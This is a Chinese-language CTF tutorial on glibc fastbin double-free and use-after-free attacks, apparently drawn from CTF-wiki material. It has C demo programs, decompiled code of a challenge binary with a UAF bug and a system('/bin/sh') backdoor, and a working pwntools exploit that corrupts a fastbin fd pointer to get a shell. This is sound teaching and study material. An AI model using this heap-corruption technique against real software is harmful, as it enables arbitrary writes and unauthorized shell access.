基于 fastbin 机制的漏洞利用方法
存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
漏洞发生于 fastbin 类型的 chunk 中
前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击
后两种侧重于故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击。
fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。
下面用一段程序加gdb调试来说明
#include <stdio.h> #include <stdlib.h> int main(void) { void *chunk1,*chunk2,*chunk3; chunk1=malloc(0x10); chunk2=malloc(0x10); chunk3=malloc(0x10); free(chunk1); free(chunk2); free(chunk1); return 0; }
从下面的gdb调试中可以很好的看到这一点,我们申请的是0x10大小的堆块,加上chunk头的0x10和in_use位中p位的1,最后大小就是0x21
画一下chunk的结构
一般来说free掉chunk之后prev_inuse的p为应该是0,但由 fastbin 管理的 chunk 即使被释放后p位仍然为1
Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。
fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。
#include <stdio.h> #include <stdlib.h> typedef struct _chunk { long long pre_size; long long size; long long fd; long long bk; } CHUNK,*PCHUNK; CHUNK bss_chunk; int main(void) { void *chunk1,*chunk2,*chunk3; void *chunk_a,*chunk_b; bss_chunk.size=0x21; chunk1=malloc(0x10); chunk2=malloc(0x10); free(chunk1); free(chunk2); free(chunk1); chunk_a=malloc(0x10); *(long long *)chunk_a=&bss_chunk; malloc(0x10); malloc(0x10); chunk_b=malloc(0x10); printf("%p",chunk_b); return 0; }
申请两个chunk后,按顺序free掉chunk1,chunk2,chunk1,形成下面的链表
然后申请chunk1,把chunk1的fd指针改成bss_chunk的地址
再申请两个堆块就可以利用bss_chunk
总结一下
简单来说就是先申请了两个chunk,chunk1和chunk2,,然后先后free1、2、1,此时的fastbin链表为chunk1-->chunk2-->chunk1,然后重新申请chunk1,然后让chunk1的fd指针指向bss_chunk,此时bins中fastbin链表中队的chunk1也指向了bss_chunk,之后再陆续申请两个chunk就能控制利用bss_chunk了
类型:fastbinattack double free
版本:Ubuntu16
void sub_400ACD() { char s[8]; // [rsp+0h] [rbp-20h] BYREF __int64 v1; // [rsp+8h] [rbp-18h] unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); *(_QWORD *)s = 0LL; v1 = 0LL; while ( 1 ) { puts("choice>"); fgets(s, 8, stdin); switch ( atoi(s) ) { case 1: sub_400916(); //add break; case 2: sub_4009D7(s, 8LL); //delete break; case 3: sub_400A4D(s, 8LL); //edit break; case 4: sub_400896(s, 8LL); //backdoor break; case 5: exit(0); default: puts("invalid"); break; } } }
unsigned __int64 sub_400916() { int v0; // eax int v1; // ebx char s[24]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v4; // [rsp+28h] [rbp-18h] v4 = __readfsqword(0x28u); if ( dword_6020BC <= 3 ) //只能申请4个堆块 { puts("size>"); fgets(s, 8, stdin); v0 = atoi(s); if ( v0 && (unsigned __int64)v0 <= 120 ) { v1 = dword_6020BC++; *(&buf + v1) = malloc(v0); } else { puts("No need"); } } else { puts("No need"); } return __readfsqword(0x28u) ^ v4; }
unsigned __int64 sub_4009D7() { __int64 v1; // [rsp+8h] [rbp-28h] char s[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); puts("index>"); fgets(s, 8, stdin); v1 = atoi(s); free(*(&buf + v1)); //uaf return __readfsqword(0x28u) ^ v3; }
unsigned __int64 sub_400A4D() { __int64 v1; // [rsp+8h] [rbp-28h] char s[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); puts("index>"); fgets(s, 8, stdin); v1 = atoi(s); read(0, *(&buf + v1), 8uLL); return __readfsqword(0x28u) ^ v3; }
int sub_400896() { int result; // eax if ( qword_602090 ) //储存的值是1 改成0就可以往下执行,就可以提权了 result = puts("Not yet"); else result = system("/bin/sh"); return result; }
.data:0000000000602090 qword_602090 dq 1 ; DATA XREF: sub_400896+4↑r .data:0000000000602090 _data ends .data:0000000000602090
在删除堆的时候没有对指针进行归零操作,然后重复free同一个chunk试其的fd形成一个循环 此时我们就可以通过在第二次申请该chunk的时候让同一个chunk拥有写入和执行的权限
通过存在的uaf漏洞在fastbin链表中去进行堆块的构造,让第一个free掉的chunk的fd指针指向需要修改的bss段数值的-0x10的位置(这里就是个伪造一个堆块)
然后把伪造的堆块当成真正的chunk去申请,然后再修改这个伪造chunk的fd指针处的数值,就能成功的getshell
from pwn import * context(os='linux',arch='amd64',log_level='debug') io=process('./pwn') def duan(): gdb.attach(io) pause() def add(size): io.recvuntil(b'choice>\n') io.sendline(b'1') io.recvuntil(b'size>\n') io.sendline(str(size)) def delete(index): io.recvuntil(b'choice>\n') io.sendline(b'2') io.recvuntil(b'index>\n') io.sendline(str(index)) def edit(index,content): io.recvuntil(b'choice>\n') io.sendline(b'3') io.recvuntil(b'index>\n') io.sendline(str(index)) io.send(content) def backdoor(): io.recvuntil(b'choice>\n') io.sendline(b'4') #io.recvuntil("_\\_\\ \n") add(0x40) #chunk0 add(0x20) #chunk1 delete(0) #free chunk0 #duan() edit(0,p64(0x602080)) add(0x40) add(0x40) edit(3,p64(0)) backdoor() io.interactive()
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack/